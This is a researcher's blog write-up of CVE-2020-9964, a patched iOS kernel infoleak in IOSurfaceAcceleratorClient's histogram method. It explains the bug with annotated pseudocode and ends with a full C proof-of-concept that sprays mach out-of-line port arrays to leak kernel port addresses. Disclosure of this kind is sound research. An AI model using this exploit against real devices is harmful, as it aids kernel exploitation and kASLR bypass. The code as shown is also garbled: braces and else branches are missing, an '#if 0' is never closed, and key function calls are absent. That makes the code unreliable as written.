CVE-2020-9964 - An iOS infoleak

iOS 14 is now available to the public, and with it comes the iOS 14.0 security content update. One of the vulnerabilities you'll see listed is CVE-2020-9964, a vulnerability in IOSurfaceAccelerator, and my first infoleak :)

Both myself (@Muirey03) and Mohamed Ghannam (@_simo36) are credited with the discovery of this vulnerability. I would not be at all surprised if I found out there were more people who knew about this.

Apple describes the impact of this bug as "A local user may be able to read kernel memory" and refer to it as a "memory initialisation issue" in the description, so what is the bug?


IOSurfaceAcceleratorClient is the user client for the AppleM2ScalerCSCDriver IOService, and is one of the few user clients that can be opened from within the App Sandbox. We are interested in one particular
external method on this user client, method 9, IOSurfaceAcceleratorClient::user_get_histogram. IOSurfaceAcceleratorClient uses the legacy IOUserClient::getTargetAndMethodForIndex for its external methods, and this is what the IOExternalMethod descriptor looks like for method 9:


From this we can see that user_get_histogram takes only 8 bytes of input data, and returns nothing as output data, so let's have a look at the implementation. This is my annotated pseudocode:

IOReturn IOSurfaceAcceleratorClient::user_get_histogram(IOSurfaceAcceleratorClient *this, void *input, uint64_t inputSize)
	IOReturn result;
	if (this->calledFromKernel)
		IOMemoryDescriptor *memDesc = IOMemoryDescriptor::withAddressRange(*(mach_vm_address_t *)input, this->histogramSize, kIODirectionOutIn, this->task);
		if ( memDesc )
			ret = memDesc->prepare(kIODirectionNone);
			if (ret)
				ret = AppleM2ScalerCSCDriver::get_histogram(this->fOwner, this, memDesc);
			ret = kIOReturnNoMemory;
	return ret;

From this we can see that the 8 bytes of structure input are intended to be a userspace pointer, which AppleM2ScalerCSCDriver::get_histogram can write to/read from. In fact, get_histogram calls through to get_histogram_gated which looks like this:

IOReturn AppleM2ScalerCSCDriver::get_histogram_gated(AppleM2ScalerCSCDriver *this, IOSurfaceAcceleratorClient *client, IOMemoryDescriptor *memDesc)
	IOReturn result;
	if ( memDesc->writeBytes(0, client->histogramBuffer, client->histogramSize) == client->histogramSize )
		result = kIOReturnSuccess;
		result = kIOReturnIOError;
	return result;

We see that client->histogramBuffer gets written back to userspace, so the question now is, what is client->histogramBuffer? Where is it initialised and where is it populated?


The answer to this question ends up being IOSurfaceAcceleratorClient::initClient, which looks like this:

bool IOSurfaceAcceleratorClient::initClient(IOSurfaceAcceleratorClient *this, AppleM2ScalerCSCDriver *owner, int type, AppleM2ScalerCSCHal *hal)
	if ( ... )
		if ( ... )
			size_t bufferSize = ...;
			this->histogramSize = bufferSize;
			this->histogramBuffer = (void *)IOMalloc(bufferSize);
			IOAsynchronousScheduler *scheduler = IOAsynchronousScheduler::ioAsynchronousScheduler(0);
			this->scheduler = scheduler;
			if ( scheduler )
				return true;
	return false;

This is immediately suspicious. histogramBuffer is allocated, but not populated, and IOMalloc does not zero the memory, leaving histogramBuffer entirely uninitialised. It was at this point that I tried calling the method for myself, and to nobody's surprise, found myself looking at a lot of 0xdeadbeef, a tell-tale sign of uninitialised memory.


Fantastic, we're leaking uninitialised memory back to userspace, but what can we do with this? Infoleaks like this one are relatively harmless by themselves, but sometimes essential when exploiting other memory corruption issues. One common requirement for exploitation is finding mach port addresses, so that was my goal for this exploit, but it's worth mentioning that this same vulnerability could be used to defeat kASLR as well.

The target allocation I chose for this exploit was mach message out-of-line port arrays. When sending mach messages, you have the option to mark the message as "complex". This tells the kernel that following the header is not raw data, but a "body" followed by descriptors to be sent along with the message. One of these descriptors is mach_msg_ool_ports_descriptor_t, an array of out-of-line port rights to be inserted into the receiving task.

The kernel handles these OOL ports by creating a buffer containing pointers to every port in the array when the message is sent, and freeing the buffer when the message is received (the code for this is in ipc_kmsg_copyin_ool_ports_descriptor if you're interested, it isn't very complicated, just too long to paste here). This is perfect for us! We can use this to trigger a kernel allocation of any size, containing the exact data we want to read (mach port pointers) and that we can free at any point, entirely deterministically.

High-level exploit flow

My plan for the exploit therefore looks like this:

  1. Send a few messages with OOL ports arrays the same size as client->histogramSize
  2. Free these arrays by receiving the messages
  3. Open a IOSurfaceAcceleratorClient connection, allocating the histogramBuffer which should now be overlapping with one of these free'd port arrays
  4. Call external method 9, reading the port pointers back to userspace
  5. Profit

On my device, client->histogramSize is 0x300, meaning my port arrays need to be 96 ports in length. I chose to send 0x80 messages, but this was a totally arbitrary number that I pulled from thin air, don't look too much into it.

The exploit

The final exploit looks like this:

#include <stdlib.h>
#include <assert.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>

#if 0
AppleM2ScalerCSCDriver Infoleak:

IOSurfaceAcceleratorClient::user_get_histogram takes a userspace pointer and writes histogram data back to that address.
IOSurfaceAcceleratorClient::initClient allocates this histogram buffer, but does not zero the memory.
When the external method IOSurfaceAcceleratorClient::user_get_histogram is called, this uninitialised memory is then sent back to userspace.

This vulnerability is reachable from within the app sandbox on iOS.
Below is a proof-of-concept exploit which utilises this vulnerability to leak the address of any mach port that the calling process holds a send-right to.
Other kernel object addresses can be obtained using this vulnerability in similar ways.

#define ASSERT_KR(kr) do { \
	if (kr != KERN_SUCCESS) { \
		fprintf(stderr, "kr: %s (0x%x)\n", mach_error_string(kr), kr); \
		exit(EXIT_FAILURE); \
	} \
} while(0)

#define LEAK_SIZE 0x300
#define SPRAY_COUNT 0x80

mach_port_t create_port(void)
	mach_port_t p = MACH_PORT_NULL;
	mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
	mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
	return p;

io_connect_t open_client(const char* serviceName, uint32_t type)
	io_connect_t client = MACH_PORT_NULL;
	io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(serviceName));
	assert(service != MACH_PORT_NULL);
	IOServiceOpen(service, mach_task_self(), type, &client);
	assert(client != MACH_PORT_NULL);
	return client;

void push_to_freelist(mach_port_t port)
	uint32_t portCount = LEAK_SIZE / sizeof(void*);

	struct {
		mach_msg_header_t header;
		mach_msg_body_t body;
		mach_msg_ool_ports_descriptor_t ool_ports;
	} msg = {{0}};
	mach_port_t* ports = (mach_port_t*)malloc(portCount * sizeof(mach_port_t));
	for (uint32_t i = 0; i < portCount; i++)
		ports[i] = port;
	size_t msgSize = sizeof(msg);
	msg.header.msgh_size = msgSize;
	msg.header.msgh_id = 'OOLP';
	msg.body.msgh_descriptor_count = 1;

	msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
	msg.ool_ports.address = (void*)ports;
	msg.ool_ports.count = portCount;
	msg.ool_ports.deallocate = false;
	msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
	msg.ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND;

	mach_port_t rcvPorts[SPRAY_COUNT];

	for (uint32_t i = 0; i < SPRAY_COUNT; i++)
		mach_port_t rcvPort = create_port();
		rcvPorts[i] = rcvPort;
		msg.header.msgh_remote_port = rcvPort;

		//trigger kernel allocation of port array:
		kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)msgSize, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

	for (uint32_t i = 1; i < SPRAY_COUNT; i++)
		mach_port_destroy(mach_task_self(), rcvPorts[i]);

//The actual vulnerability:
void leak_bytes(void* buffer)
	io_connect_t client = open_client("AppleM2ScalerCSCDriver", 0);
	kern_return_t kr = IOConnectCallStructMethod(client, 9, (uint64_t*)&buffer, 8, NULL, NULL);

uint64_t find_port_addr(mach_port_t port)
	uint64_t* leak = (uint64_t*)malloc(LEAK_SIZE);

	printf("Preparing heap\n");

	printf("Leaking 0x%zx bytes\n", (size_t)LEAK_SIZE);

	uint64_t addr = leak[1];
	return addr;

int main(int argc, char* argv[], char* envp[])
	mach_port_t port = create_port();
	uint64_t port_addr = find_port_addr(port);
	printf("Leaked port address: %p\n", (void*)port_addr);
	return 0;

I have found this exploit to have a near 100% success rate, with any failures being trivial to detect, allowing the exploit to keep being reran until it is successful.

Side note

I have been informed that the exploitability of this vulnerability was affected by iOS 14's heap separation. I don't know enough about the changes made in iOS 14 to confirm this, but it will definitely need to be something to be considered when looking at future uninitialised memory leaks.

A final goodbye

Thank you for getting to this point, I hope you learned something or at least found it mildly interesting. This is my first real writeup so I'd be very grateful for any feedback on anything discussed. If you have any questions, feel free to ask me on twitter @Muirey03.


Post a Comment